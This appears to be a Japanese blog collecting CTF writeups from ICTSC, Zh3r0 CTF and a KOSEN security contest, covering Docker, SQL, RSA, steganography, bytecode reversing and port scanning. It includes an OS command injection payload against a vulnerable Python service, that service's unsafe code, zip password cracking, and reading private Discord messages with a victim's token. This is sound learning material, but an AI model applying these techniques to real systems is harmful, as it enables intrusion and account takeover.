/docker-entrypoint.sh: Configuration complete; ready for start up
172.16.0.12 - - [31/Oct/2020:08:38:32 +0000] "GET / HTTP/1.1" 200 612 "-" "curl/7.58.0" "-"
172.20.5.0 - - [31/Oct/2020:08:42:41 +0000] "GET / HTTP/1.1" 200 612 "-" "curl/7.58.0" "-"
172.16.0.12 - - [31/Oct/2020:08:42:55 +0000] "GET / HTTP/1.1" 200 612 "-" "curl/7.58.0" "-"
172.20.5.0 - - [31/Oct/2020:08:43:00 +0000] "GET / HTTP/1.1" 200 612 "-" "curl/7.58.0" "-"
172.16.0.12 - - [31/Oct/2020:08:43:20 +0000] "GET / HTTP/1.1" 200 612 "-" "curl/7.58.0" "-"
172.20.5.0 - - [31/Oct/2020:08:43:22 +0000] "GET / HTTP/1.1" 200 612 "-" "curl/7.58.0" "-"
172.16.0.12 - - [31/Oct/2020:08:47:35 +0000] "GET / HTTP/1.1" 200 612 "-" "curl/7.58.0" "-"
172.20.5.0 - - [31/Oct/2020:08:48:02 +0000] "GET / HTTP/1.1" 200 612 "-" "curl/7.58.0" "-"
172.16.0.12 - - [31/Oct/2020:08:48:14 +0000] "GET / HTTP/1.1" 200 612 "-" "curl/7.58.0" "-"

ダイエットしようぜ!(100/100)

参考リンクとしても貼りましたが、golang smallest imageとかでggると一番上に該当記事が出てくるので、これを読めば10分ぐらいで解ける問題でした。googling大事。

問題

GoでSHA256するhash.goを書いた。これを実行するコンテナが欲しかったので雑にDockerfileを書いてビルドしてイメージを作成した。問題なくSHA256できるようになったが、イメージが大きくてテンションが上がらない。 あなたには、Dockerfileを編集したりビルドコマンドを変えたり、あるいはビルド後のイメージに対してなにかしたりしてイメージを小さくしてほしい。 ただし、hash.goのコードにはこだわっているので編集してはならない。 $ make buildictsc-ditという名前のDocker imageを作ることができる。詳細はMakefileを参照されたい。採点の際にVMを確認する場合、どのイメージが回答によって作成されたイメージかすぐに判別できるよう、是非使ってほしい。

回答

この問題では、以下の2つのいずれかを実践することで、Dockerイメージのサイズを減らすことができます。

  1. ベースとなるgolangのDockerイメージのタグをalpineにする
  2. マルチステージビルドを利用する

今回は、よりイメージサイズを減らすことができる、マルチステージビルドを利用しました。 その結果、イメージサイズを2.05MBまで減らすことができました。

手順

1: Dockerfileの中身を以下のように書き換え

# step 1
FROM golang:alpine AS builder

ADD . /work

WORKDIR /work

RUN go build -o /go/bin/hash

# step 2
FROM scratch

COPY --from=builder /go/bin/hash /go/bin/hash

ENTRYPOINT ["go/bin/hash"]

2: make buildでイメージをbuild 3: docker imagesでイメージサイズを確認

user@vm01:~$ docker images
REPOSITORY          TAG                 IMAGE ID            CREATED             SIZE
ictsc-dit           latest              7a50b38100f3        5 minutes ago       2.05MB

4: docker runで正常にコンテナが動作することを確認

user@vm01:~$ make run
docker run -it --rm --name ictsc-dit-container ictsc-dit
data: aaa
SHA256: 9834876dcfb05cb167a5c24953eba58c4ac89b1adf57f28f2f9d09af107ee8f0

参考

データベース

備品は何処へ(100/100)

ぼくの読解力が悪いのか、問題文と終了状態の定義が曖昧な気がして、それの確認に時間が取られた問題でした。。 普段DBを触るにしてもWeb Frameworkのラッパー経由が多く、SQLをそのまま触る機会は減っていたので、復習しながら取り組めたのでよかったです。

問題

あなたは現在、自社の備品を管理する部署に勤務している。管理システムはとても古くMySQLを利用している。 ある日、上司から特定の製造会社のパソコン(Manufacturing_company_E)、特定の建物(HQ)で相性が悪く交換するためリストを作成してほしいと依頼を受ける。なお、注文会社はパソコンの管理を行う専門会社である。 MySQLのデータベースからcsvファイル(submit.csv)を出力するSQL文(submit.sql)を作成し実行しなさい。

回答

USE List;
SELECT  Equipment_list.ID               AS "Equipment ID"
,Equipment_list.Name             AS "Equipment Name"
,Order_company_list.Name         AS "Order company Name"
,Manufacturing_company_list.Name AS "Manufacturing company Name"
,Equipment_list.Price            AS "Equipment Price"
FROM Equipment_list
JOIN Manufacturing_company_list
ON Equipment_list.Manufacturing_campany=Manufacturing_company_list.id
JOIN Order_company_list
ON Equipment_list.Order_company=Order_company_list.id
JOIN Location_list
ON Equipment_list.Use_place=Location_list.id
WHERE Manufacturing_company_list.Name='Manufacturing_company_E' 
AND Location_list.Building_name='HQ'
ORDER BY Equipment_list.Price DESC INTO OUTFILE '/tmp/submit.csv' FIELDS TERMINATED BY ',' OPTIONALLY ENCLOSED BY '"';
24,"pc_x","Order_company_E","Manufacturing_company_E",1600
17,"pc_q","Order_company_J","Manufacturing_company_E",800

おわりに

Dockerはアルバイトでよく使っているので、今回Docker問題が多くてラッキーでした。予選ラッキー通過でした。 k8sは最近さわりはじめたばかりなので、本戦までには太刀打ちできるようになっていてほしいです(To自分)。 今回、ネットワーク問題はほとんど解いておらず、得意かというとそうでもないので、本戦までに頑張っていきたいです。

参加者、運営のみなさんトラブルシューティングお疲れさまでした。

Zh3r0 CTFに参加したおはなし

はじめに

ctftime.orgにて見つけた、Zh3r0 CTFとやらに、2日目の昼ぐらいから1人でひっそりと参加しました。 結果は、1384ポイントで、810チーム中175位でした。 もうちょっと頑張りたかったなあというお気持ちです。

いろんなジャンルの問題が出題されていたんですが、ほとんどのジャンルの触りの問題しか解けなかったです。つらい。 以下にCTFdのリッチなスコア画面の一部を載せておきます。 16時前から20時ぐらいまでが一番取り組んでたはずなのに、全然スコアが変わってないですね。悲しい。

f:id:ush1ken:20200618135108p:plain
スコアの遷移

では、備忘録としてwriteupを書いていきます(welcome系の問題は省きます)。

目次

[toc]

Writeups

RSA-Warmup - Crypt (20)

RSA is one of the first public-key cryptosystems and is widely used for secure data transmission. In such a cryptosystem, the encryption key is public and distinct from the decryption key which is kept secret. You all know this :p here is a warmup question.

nc crypto.zh3r0.ml 8451

Author : Finch

Cryptの超簡単な問題らしいです。 手始めに、与えられたサーバーにアクセスすると、次のように、NCTと、よく見たらeが与えられます。

$ nc crypto.zh3r0.ml 8451
N: 308051270710135702996040605286818433793711353550617317701193169151276189067532164511643510276134063421796768864465665703584702749269261428789682425289413761516824552560721023024186455596868904214620356109141770431007778797144062315815972973290199066311100079569526397683776312985291516152625811225886351004501626870823
e 65537
CT: 30709473425159171299520825095261005615552655385449912891827878235048571229401267923174369034256520103525411275610842692530767429124293047575582224576587413577905912072168026583801146478806821956101260895155089710384650128939221689021763048961179401991902924891096688884606683625578665778409730072721585153101434625997

RSA - GrinningChicken CTFによれば、N素因数分解して、pqが得られれば、dを求めることができ、それと、Nを使ってCTを求めることができるようです。


d = e^{-1}\bmod (p-1)(q-1) \\
CT = c^{d}\bmod N

Integer factorization calculatorというサイトで、Nを与えると、pqが得られます。

import binascii
from Crypto.PublicKey import RSA
from Crypto.Util.number import inverse
import gmpy2

N = 360603269950717127958760246163951087043653062932088423467851263183841195982469186986247797462136128745502344222370032221671761738315302847959684763944339067125598238100462217330746123763793945305815944226742458211575982476444545607727592701928013154987794678644639056679851880595959438464365438444242105681976170048233
CT = 42437077913617929464480903272150567089748882677114169372376817944866452865821528116587879624328040402591495026434331016168378827908346491973919641330181046283054065817159232012784632830695669632367600387846791108451794862353062701183232865747649340186603902638878987762345311390914593947979228065750978945968847039156
e = 65537

p = 3945777523
q = 91389660934696628601267503891133876035223454470493830593968656246471602190853979119858197200779210973649804589443912299784207001859213248896517869881012819365081632885682140201787074695086387237706393165731067045661201227448054883080034388935316856937702891021471069563860932510045989854548988580733548286771

d = inverse(e, (p-1)*(q-1))

key = RSA.construct((N, e, d))

print(binascii.unhexlify(hex(key.decrypt(CT))[2:]).decode("utf-8"))

というわけで、以上のようなコードで、フラグが得られます。 コードはSECCON Beginners CTF 2018 - RSA is Power - こんとろーるしーこんとろーるぶいを参考にさせていただきました。

$ python dec.py 
zh3r0{RSA_1s_Fun}

Web-Warmup - Web (50)

Chall Link : http://web.zh3r0.ml:8080/ Easy peasy.

Author : careless_finch

とりあえず、curlすると、以下のようなHTMLが得られます。 なんだか構造がすごく気持ち悪いですね。(暴言)

$ curl http://web.zh3r0.ml:8080/
<html>
<title>Welcome Here</title>
     <link rel="stylesheet" type="text/css" href="bg.css">
     <h1> Hey. This is just WARM-UP</h1>
       <input type="hidden" id="one" name="one" value="none"> 
    <img src="warm.jpg" alt="nothing is here " id='selector'>

inputがあるし、そこにPOSTするのかなあ、warm.jpgのステガノかなあ、と思ったりしたのですが、bg.cssを覗くとフラグがありました。

$ curl http://web.zh3r0.ml:8080/bg.css
/*css is easy, I think. Don't you?zh3r0{y3s_th1s_1s_w4rmup}*/
#selector {
    width:100%;
    height:100%;

Tokens - Web (50)

The flag was sent by Mr.4N0NYM4U5 to my victim. But i dont have the username and password of the victim to login into the discord account. The only thing i have is a god damn token. Can you help me to get the flag. Ill give you the token and it is all you need. Token : NzIyMzM1MTQ5NDA0MTkyODIw.XunLaw.xASADEeu9iXsYf1wqTFOil_jgfo

Author : Mr.4N0NYM4U5

discordのAPIを与えられたTokenを使って叩けみたいな問題でした。 discordにはユーザー用のTokenとbot用のTokenがあるようで、最初はdiscordのbot用のSDK的なsomethingを使って、頑張って調査して、時間を溶かしてしまいました。 まあ普通に問題文を読めば、ユーザー用だよねってことがわかるので、ユーザー用のTokenとしてどう使うかを調査しました。

BurpSuiteを立ち上げながら、ブラウザ版のdiscordにログインしたり、適当な操作をやったあと、一通り通信を眺めてみました。 結果的に、AuthorizationヘッダにTokenを含めて/api/v6/以下のエンドポイントを叩いていることがわかりました。

とりあえず、そのへんにあった/api/v6/users/@me/guildsというRequestのTokenを書き換えて投げてみると、フラグが得られました。

f:id:ush1ken:20200618150147p:plain
/api/v6/users/@me/guildsへのRequest/Response

(あとがき)writeupを書きながら検証していると、上記と同じ手順で解けなかったので、おそらく想定解ではなかった?のか、discord内の何かが変わった可能性があります。writeup執筆時点での、うまくいった手順は以下のとおりです。 APIのドキュメントはこちらを参考にしました。

  1. /api/v6/users/@me/channelsにTokenを含めてGETリクエス
  2. レスポンスに見に行くべきchannelのidが含まれている
[
   {
      "id":"722336834264498177",
      "last_message_id":"722774529239285781",
      "last_pin_timestamp":"2020-06-16T20:48:55.080000+00:00",
      "type":1,
      "recipients":[
         {
            "id":"402012560553148426",
            "username":"Mr.4N0NYM4U5",
            "avatar":"c5c89aac100ab60a58dadda34a3797c5",
            "discriminator":"2435",
            "public_flags":0
         }
      ]
   }
]
  1. /api/v6/channels/722336834264498177/messagesにTokenを含めてGETリクエス
  2. レスポンスにフラグらしき文字列が含まれている
[
    ...(中略)
   {
      "id":"722338901221703732",
      "type":0,
      "content":"`flag : zh3r0{1et_7he_F0rce_8e_With_YoU}`",
      "channel_id":"722336834264498177",
      "author":{
         "id":"402012560553148426",
         "username":"Mr.4N0NYM4U5",
         "avatar":"c5c89aac100ab60a58dadda34a3797c5",
         "discriminator":"2435",
         "public_flags":0
      },
      ...(中略)
   }
]

Katycat - Forensics (175)

katycat trying to find the flag but she is lazy. will you help her to find the flag?

Author : cryptonic007

猫の写った、png画像が与えられます。 とりあえず、stringsや、binwalk、exiftoolsをかけてみましたが、めぼしいヒントは得られず。 次に、青空白猫に入れて、ステガノグラフィー解析機能で、次候補ボタンをポチポチ押していました。 すると、ビット0抽出で、左上に、黒い点の列が見えたので、LSBにデータが隠されていることがわかりました。

f:id:ush1ken:20200618152653p:plain
青空白猫解析画面

というわけで、同ソフトウェアのビット抽出機能を使って、RGBそれぞれのLSB(0ビット目)のみ抽出して、データを表示してみると、https://pastebin.com/hvgCXNcPというURLが得られました。

サイトに行くと、Base64エンコードされたような、文字列が保存されていたので、CyberChefに入れて、Base64 Decodeすると、出力されたバイナリの先頭にPK、中間にflag.txtという文字列が存在することがわかりました。 PKはzipファイルのマジックナンバーなので、zipファイルのバイナリデータであることがわかりました。

以下のコマンドで、zipファイルとしてダウンロードします。

$ curl -s https://pastebin.com/raw/hvgCXNcP | base64 -D > out.zip

しかし、解凍しようとすると、パスワードがかかっていることがわかります。

$ unzip out.zip 
Archive:  out.zip
[out.zip] flag.txt password: 

zip2johnを使ってパスワードハッシュを求め、johnでそのハッシュを使って、パスワードをcrackします。

$ zip2john out.zip > test.hash
ver 1.0 efh 5455 efh 7875 out.zip/flag.txt PKZIP Encr: 2b chk, TS_chk, cmplen=37, decmplen=25, crc=BCC1DEEE
$ john test.hash
...(前略)
kitkat           (out.zip/flag.txt)
...(後略)

上記パスワードを使って、unzipしてflag.txtの中を見てみると、暗号化されたような文字列がまた現れます。

$ unzip out.zip 
Archive:  out.zip
[out.zip] flag.txt password: 
 extracting: flag.txt                
ushiken:Katycat user$ cat flag.txt 
K9bC_L`D?f0DEb8c?_06cDJN

一応ASCIIに収まっていることから、ROTかな?という軽い推測をして、CyberChefに再度入力してみると、ROT13ではなく、ROT47でフラグを複合できました。

zh3r0{1sn7_st3g4n0_e4sy}

snakes everywhere - Reversing (357)

Can a snake go backwards

Author : Whit3_D3vi1

py_dis1snake.txtという2つのファイルが与えられます。 py_dis1には、以下のような文字列が入っており、snake.txtには数十バイトのバイナリデータが入っていました。

$ head -20 py_dis1 
  2           0 LOAD_CONST               0 (0)
              2 LOAD_CONST               1 (('flag1',))
              4 IMPORT_NAME              0 (flags)
              6 IMPORT_FROM              1 (flag1)
              8 STORE_NAME               1 (flag1)
             10 POP_TOP

  3          12 LOAD_NAME                1 (flag1)
             14 STORE_NAME               2 (flag)

  4          16 LOAD_CONST               2 ('zh3r0{fake flag}')
             18 STORE_NAME               3 (fake_flag)

  6          20 LOAD_CONST               3 ('I_l0v3_r3v3r51ng')
             22 STORE_NAME               4 (key)

  8          24 LOAD_NAME                5 (len)
             26 LOAD_NAME                2 (flag)
             28 CALL_FUNCTION            1
             30 LOAD_CONST               4 (38)
...(後略)

py disでggると、dis --- Python バイトコードの逆アセンブラ — Python 3.8.3 ドキュメントというサイトが出てきました。 pythonのbytecodeを逆アセンブルすることができるらしいです。 早速インストールして使ってみました。

$ pip install dis
$ echo "a=1;print(a)" | python -m dis 
  1           0 LOAD_CONST               0 (1)
              2 STORE_NAME               0 (a)
              4 LOAD_NAME                1 (print)
              6 LOAD_NAME                0 (a)
              8 CALL_FUNCTION            1
             10 POP_TOP
             12 LOAD_CONST               1 (None)
             14 RETURN_VALUE

1列目が、入力されたコードの行番号、2列目がバイトコードの位置、3列目が人間が読める形式のオペコード(命令)、4列目は命令が参照する内部変数のインデックス、5列目がオペランド(被演算子)のようです。 内部変数には、co_consts, co_names, co_varnamesなどのタプルがあり、こちらに変数名などを保持しているそうです(参考: inspect --- 活動中のオブジェクトの情報を取得する — Python 3.8.3 ドキュメント")。

このコードを簡単に解説します。 コードでは、最初にLOAD_CONST (1)1がスタックに積まれて、STORE_NAME (a)aにスタックのトップにある1をストアしています(a=1;)。 次に、LOAD_NAME (print)LOAD_NAME (a)をそれぞれスタックに積み、CALL_FUNCTIONでスタックのトップを引数、その次を関数として呼び出します(print(a))。 最後に、プログラムの終了処理を行っています。

disをつかった解析は、writeup執筆中に見つけた、dis/inspect モジュールを使った Python のハッキングというサイトに詳しく日本語で書いてありました。

以上のような形で、逆アセンブル結果から、元のコードを(無理やり)復元できることがわかったので、復元してみた結果が、以下のコードです。 このコードを$ python -m dis rev1.pyとすると、だいたい元の逆アセンブル結果と同じ結果が得られます。

from flags import flag1

flag = flag1
fake_flag = "zh3r0{fake flag}"

key = "I_l0v3_r3v3r51ng"

if not len(flag) == 38: raise AssertionError

def xor(str1, str2):
    return chr(ord(str1) ^ ord(str2))


ciphertext = ''

for i in range(len(flag)//3):
    ciphertext += chr(ord(key[i])*ord(flag[i])-i)

for i in range(len(flag)//3, len(flag)//3*2):
    ciphertext += chr(ord(flag[i])*ord(key[i % len(key)])+i)

for i in range(len(key)//2, len(flag)):
    ciphertext += xor(key[i % 16], flag[i])

file = open('ciphertext.txt', 'w')
print(len(ciphertext))
file.write(ciphertext)
file.close()

このコードから、以下のことがわかります。

  • flags.pyflag1という変数にフラグが格納されている
  • フラグの文字列長は38文字
  • I_l0v3_r3v3r51ngという文字列を鍵として、フラグを暗号化している
  • ciphertext.txtというファイルに暗号化されたフラグが格納されている
  • おそらく、ciphertext.txtsnake.txtは同じもの

以上のことから、このコードからさらに、暗号化されたフラグを復号するコードを書く必要があることがわかります。 ということで、復号するコードが以下のコードです。

from rev1 import xor

FLAG_LEN = 38
key = "I_l0v3_r3v3r51ng"

with open('snake.txt', 'r') as f:
    ciphertext = f.read()

flag = ["A" for _ in range(FLAG_LEN)]

for i in range(FLAG_LEN//3):
    flag[i] = chr(int((ord(ciphertext[i])+i)/ord(key[i])))

for i in range(FLAG_LEN//3, FLAG_LEN//3*2):
    flag[i] = chr(int((ord(ciphertext[i])-i)/ord(key[i % len(key)])))

lev3_offset = FLAG_LEN//3*2

c = 0
for i in range(len(key)//2, FLAG_LEN):
    flag[i] = xor(key[i % 16], ciphertext[c+lev3_offset])
    c += 1

print("".join(flag))

ここでは、次の4つの法則性を使って、復号コードを作成しました。

  1. chr(ord('A')) => 'A'
  2. ord(chr(0x41)) => 0x41
  3. c = a ^ b = b ^ a
  4. a = b ^ c

というわけで、このコードを使って復号すると、フラグが得られます。

$ python dec.py 
54
zh3r0{Python_disass3mbly_is v3ry_E4sy}

Subset of subset of hacking machines challenges

Description: Here's the url ;)

hackit.zh3r0.ml

Author : Mr.Holmes

hackthebox的な問題で、1つのマシンをターゲットにフラグを探す問題になっていて、全部で6つのフラグが隠されていました。 そのうちの3つを見つけたので、それぞれの解法をスコアの低い順に書いていきます。

Flag 5 (50)

手始めに、nmap -sV hackit.zh3r0.mlで、ポートスキャンをしたところ、tcpの22番と99番がopenになっていることが確認されました。 22番はhttpらしきサービスが、99番はOpenSSH 7.6p1が立っているようでした。

まずは、httpから見ていこうと思い、Firefoxhttp://hackit.zh3r0.ml:22/にアクセスすると、このアドレスへの接続は制限されていますと言われてアクセスできなかったので、こちらを参考に以下の手順で設定を追加しました。

  1. about:configをURLバーに打ち込み危険性を承知の上で使用するボタンをクリック
  2. 検索バーにnetwork.security.ports.banned.overrideと打ち込み、文字列にチェックを入れて、+ボタンをクリック
  3. 値を打ち込めるので、22と入力し、チェックボタンをクリック

以上の手順のあと、もう一度http://hackit.zh3r0.ml:22/にアクセスしてみると、z3hr0{shouldve_added_some_filter_here}というフラグが得られました。

Flag 1 (227)

http://hackit.zh3r0.ml:22/に対して、dirbというブルートフォースwebサービス上のディレクトリやファイルを探すコマンドを使ってみた結果、robots.txtが存在することがわかったため、curlでアクセスしてみました。

$ curl http://hackit.zh3r0.ml:22/robots.txt
Hmmm you shouldnt be here.... 2yryYz3sx16kWt72agdFZJqxZ5kqqvocsnU416bULtVs63Cvwmvr6f34Ck8sSHQU1PPnQqD7bqW9q    By the way did you see any ads on this thing?

暗号化されたような文字列を得られたので、CyberChefにて、Baseなんちゃら系で復号していると、Base58で復号できることがわかりました。

I tried to hide this, anyway, check out /clue3349203.txt

復号された文字列によると、/clue3349203.txtに次のヒントが隠されているようだったので、curlにて再びアクセスしてみました。

$ curl http://hackit.zh3r0.ml:22/clue3349203.txt
([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+...(後略)

JSFuckと呼ばれる、javascriptbrainfuck言語のような文字列が与えられたので、JsUnFuckというサイトで、デコードしてみた結果、console.log('Employee ID: 865151c643cbbb7e3bf4fd5dbb71354e')という文字列が得られました。

しかし、これを使える場所がまだ見つかっていなかったので、他を当たることにしました。

その後、99番ポートのSSHに対して、UsernameEnumerationしていましたが、途中のアナウンスで、

:TIME_SAVING_TIP: SSH is out of scope. Bruteforcing SSH on hacking-machine is not required. Allowed? Yes. But while setting passwords I made sure they are not in any publicly available wordlist.

と言われていることに気づきました。

そして、Well-knownポートしかスキャンしていないことに、途中で気づいて、全ポートスキャンをしました(その間にラーメン花月油そばを食べに行ってきました)。 全ポートスキャンをした結果、新たにtcpの324番ポートにvsftpd 3.0.3と4994番ポートにunknownなサービスが立ち上がっていることがわかりました。

とりあえず、ftpの調査をしたところ、以下の通り煽られてしまいました。

$ ftp hackit.zh3r0.ml 324
Connected to hackit.zh3r0.ml.
220 (vsFTPd 3.0.3)
Name (hackit.zh3r0.ml:user): anonymous
331 Please specify the password.
Password: 
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls -l
229 Entering Extended Passive Mode (|||51696|)
150 Here comes the directory listing.
-rw-r--r--    1 ftp      ftp            22 Jun 16 23:45 test.txt
226 Directory send OK.
ftp> get test.txt
local: test.txt remote: test.txt
229 Entering Extended Passive Mode (|||23036|)
150 Opening BINARY mode data connection for test.txt (22 bytes).
100% |****************************************************************************************************************************************|    22       41.71 KiB/s    00:00 ETA
226 Transfer complete.
22 bytes received in 00:00 (0.12 KiB/s)
ftp> ^D
221 Goodbye.
$ cat test.txt 
LOL Nothing here. ;-;

次に、4994番ポートにcurlでアクセスしてみたところ、以下のような出力でフラグが得られました。 しかし、curlコマンドが終了しませんでした。

$ curl http://hackit.zh3r0.ml:4994/
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
                     ||Employee Entry||

----------------------------------------------------------
                     Sherlock Holmes Inc.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Here's a free flag for you, just for finding this door! Flag 1: zh3r0{pr05_d0_full_sc4n5}
Heyo, Watcha looking at? Employee ID yoo! : 
Go away kiddo, huh, Kids these days!

Flag 3 (445)

curlコマンドが終了しなかったことから、4994番ポートはhttpではなく、なんらかのプログラムが動いているのではないかと気づき、ncコマンドにて再度アクセスしてみたところ、標準入力で何かを入力することができました。 このメッセージから、Employee IDを入力しろと言われているので、先に得られたidを入力したところ、フラグを得ることができました。

$ nc hackit.zh3r0.ml 4994

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
                     ||Employee Entry||

----------------------------------------------------------
                     Sherlock Holmes Inc.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Here's a free flag for you, just for finding this door! Flag 1: zh3r0{pr05_d0_full_sc4n5}
Heyo, Watcha looking at? Employee ID yoo! : 
865151c643cbbb7e3bf4fd5dbb71354e
Hey I know you! You work here!
If you don't like to read, you haven't found the right book. - JK Rowling

 Flag 3: zh3r0{y0ur_b0nu5_i5_p4id}

おわりに

ほとんど、初級の問題しか解けなかったので、もっと精進したい(いつも言ってる気がする)。 いろいろ知らなかった技術とか、忘れてたことを思い出せたので、よかったです。 あと7日間(2020/06/25まで?)はサーバーが動いているらしいので、writeupを読みながら解けなかった問題を解いていきたいです。

KOSENセキュリティコンテスト2019( #sckosen )に参加したおはなし

はじめに

高専セキュリティコンテスト2019に参加したので, 備忘録として解けた問題のWriteupを書きます. 競技時間が6時間と, 例年に比べかなり短い時間で, ほとんどの問題のアーカイブを取り忘れてしまったので, 思い出せる限りで書きます.

コンテストにはLynT4χとして, 4人で出場して, 途中まで十何位とか二十何位とかにいたんですが, なんとか優勝することができました. 配点が高い問題が結構ツールでサクッと解けちゃったりして, 少し配点ミスな気もしましたし, そこが勝因にもなったのかなと思います.

flag
やったー

目次

01 回答は半角で (Crypto 50)

パーセントエンコーディングされた文字列が与えられ, デコードすると全角のフラグが現れるので, 半角に変換して提出するだけ. フラグは忘れました.

10 ツートントン (Misc 100)

一番最後に提出して決勝点となった問題. 次のような画像が与えられ, 問題タイトルから, モールス信号であると想定します.

image.png
image.png

デコード方法はほとんどチームメンバーが見つけてくれたので, ぼくはそれを聞きながらPythonでデコードスクリプトを書きました.

以下のサイトを見て, デコード方法を見つけたそうです.

このサイトによれば,

モールス符号には、短点の長さを基準に長点の長さ、 符号間や単語間の長さ(間隔)が決められています。

短点の長さを1とすると 長点の長さは、短点3点分。 一つの符号を作る長点や、短点との間隔は、短点1点分 符号間は3短点分、単語間は7短点分空けることとなっているため 短点一つのEを EEやEEEと打ってもIやSにならないのです。

とのこと.

今回の問題では, 短点の長さを1とすると, モールス信号として成り立たなくなってしまうので, 短点の長さを2と仮定して, デコードを進めます. 短点の長さが2になるので, 上記のサイトの通りに考えれば, 長点の長さは短点6つ分. 文字間の間隔は6短点分, 単語間は14短点分となります.

ただし, なぜか今回の問題では, 長点の長さだけ上記のサイトとは違い, 短点5つ分だったのが, 解くのに時間がかかってしまったポイントだと思います.

ここまでをまとめると, 今回の問題では, 以下のような表をもとに, 画像から色を抽出し, モールス信号に変換後, 文字列に戻してあげればよさそうです.

意味
短点 黒黒
長点 黒黒黒黒黒
文字区切り 白白白白白白
単語区切り 白白白白白白白白白白白白白白

ということで, 以下のようなスクリプトでデコードをします.

from PIL import Image

MORSE_CODE_DICT = {
    'A':'.-', 'B':'-...',
    'C':'-.-.', 'D':'-..', 'E':'.',
    'F':'..-.', 'G':'--.', 'H':'....',
    'I':'..', 'J':'.---', 'K':'-.-',
    'L':'.-..', 'M':'--', 'N':'-.',
    'O':'---', 'P':'.--.', 'Q':'--.-',
    'R':'.-.', 'S':'...', 'T':'-',
    'U':'..-', 'V':'...-', 'W':'.--',
    'X':'-..-', 'Y':'-.--', 'Z':'--..',
    '1':'.----', '2':'..---', '3':'...--',
    '4':'....-', '5':'.....', '6':'-....',
    '7':'--...', '8':'---..', '9':'----.',
    '0':'-----', ', ':'--..--', '.':'.-.-.-',
    '?':'..--..', '/':'-..-.', '-':'-....-',
    '{':'-.--.', '}':'-.--.-', '=':'-...-'
}
MORSE_REV_DICT = {v:k for k,v in MORSE_CODE_DICT.items()}

img = Image.open("image.png")
px = list(img.getdata())[1:]
s = "".join(["0" if c==0 else "1" for c in px])
codes = [w.split("1"*6) for w in s.split("1"*14)]
flag = ""
for i in range(len(codes)):
    for j in range(len(codes[i])):
        if codes[i][j] != '':
            codes[i][j] = codes[i][j].replace("00000", "-")
            codes[i][j] = codes[i][j].replace("00", ".")
            codes[i][j] = codes[i][j].replace("11", "")
            flag += MORSE_REV_DICT[codes[i][j]]
    flag += " "

print(flag)

このスクリプトを実行すると, フラグが得られます.

$ python solve.py 
THIS IS MORSE CODE. CAN YOU FIND THE FLAG? THE FLAG IS CTFKIT{TUU=TON=TON=TUU=TON} HAHA,  CAN YOU FIND IT? 

FLAG: CTFKIT{TUU=TON=TON=TUU=TON}

11 新人エンジニアの発明 (Misc 100)

新人がこれ開発しました!, ええ..大丈夫?みたいな問題.

nc 34.84.50.179 80でアクセスすると, 下記のようなプロンプトが出力されます.

$ nc 34.84.50.179 80
Ultra Admin Panel
You can full control and access.
Please Enter Query:

Please Enter Query:とあるので, SQLを入れてみると, データベースっぽいエラー文が返ってきます. エラー文の文面や, .schemaなどが使えることから, SQLiteであると判断できます.

Please Enter Query: test
Error: near "test": syntax error
Please Enter Query: .schema
CREATE TABLE user(id integer, name text, old integer);

このあと, .tableコマンドでテーブル一覧を表示させて, userテーブルが見つかったので, 中を見たんですがフラグっぽいものはなにもなかったです. そこで, シェルを取るのかなあと考えて, SQLiteはあまり触ったことがないので, とりあえず.helpとかでなにか組み込みの関数でシェルを取れるコマンドがないかを探しました.

Please Enter Query: .help
.auth ON|OFF           Show authorizer callbacks
.backup ?DB? FILE      Backup DB (default "main") to FILE

...

.shell CMD ARGS...     Run CMD ARGS... in a system shell

...

.width NUM1 NUM2 ...   Set column widths for "column" mode
                         Negative values right-justify

ビンゴ!ということで, .shellコマンドで下記の通りにフラグを得られます. そういえば, なんでcatだとhiしか出力されなかったのに, grepだとヒットしたんだろう...

$ nc 34.84.50.179 80
Ultra Admin Panel
You can full control and access.
Please Enter Query: .shell ls
flag.txt
hogehoge.txt
main.py
myadata
ydata
mydata.back
out.txt
user.back
userdata.txt

$ nc 34.84.50.179 80
Ultra Admin Panel
You can full control and access.
Please Enter Query: .shell cat flag.txt
hi

$ nc 34.84.50.179 80
Ultra Admin Panel
You can full control and access.
Please Enter Query: .shell grep -r CTFKIT ./
./flag.txt:CTFKIT{be_careful_os_com_injection}

せっかくなので, main.pyも手に入れることができたので, 下記に載せておきます.

#!/usr/bin/env python3
import os
import subprocess

# make user table
cmd = 'sqlite3 -line mydata.db \'create table user(id integer, name text, old integer);\' '
os.system(cmd)

# import user
cmd = 'sqlite3 -line mydata.db \'.import ./userdata.txt user\''
os.system(cmd)

# console
print("Ultra Admin Panel")
print("You can full control and access.")

sql = input("Please Enter Query: ")
cmd = 'sqlite3 -line mydata.db \'' + sql + '\''

out = subprocess.run(cmd, stderr=subprocess.STDOUT, stdout=subprocess.PIPE, shell=True)
print(out.stdout.decode())

# clean db
cmd = 'rm mydata.db'
os.system(cmd)

コードを見る感じでは, 18行目で入力値をそのまま連結してOSコマンドを呼び出しているので, そこでOSコマンドインジェクションするのが, 想定解だったんですかね. ということで, '; grep -r CTFKIT ./ #でOSコマンドインジェクションしてもフラグが得られるようです.

$ nc 34.84.50.179 80
Error: cannot open "./userdata.txt"
Ultra Admin Panel
You can full control and access.
Please Enter Query: '; grep -r CTFKIT ./ #
./flag.txt:CTFKIT{be_careful_os_com_injection}

FLAG: CTFKIT{be_careful_os_com_injection}

13 名前を解決したい! (Network 150)

https://futuregadget-9.tech/にアクセスできないよ, みたいな問題.

dnsdumpster.comとかいうサイトがあるので, そこで調べると, TXTレコードになにやらIPアドレスが登録されています.

TXT Records ** Find more hosts in Sender Policy Framework (SPF) configurations

"ip=153.126.212.45"

curlでそのIPアドレスにアクセスして, フラグゲット.

$ curl http://153.126.212.45/
<html>
<head>
    <title>flag page</title>
</head>
<body>
    <p>CTFKIT{naki_nureshi_megami_no_kikan}</p>
</body>
</html>

FLAG: CTFKIT{naki_nureshi_megami_no_kikan}

15 最後に消したファイル (Forensics 200)

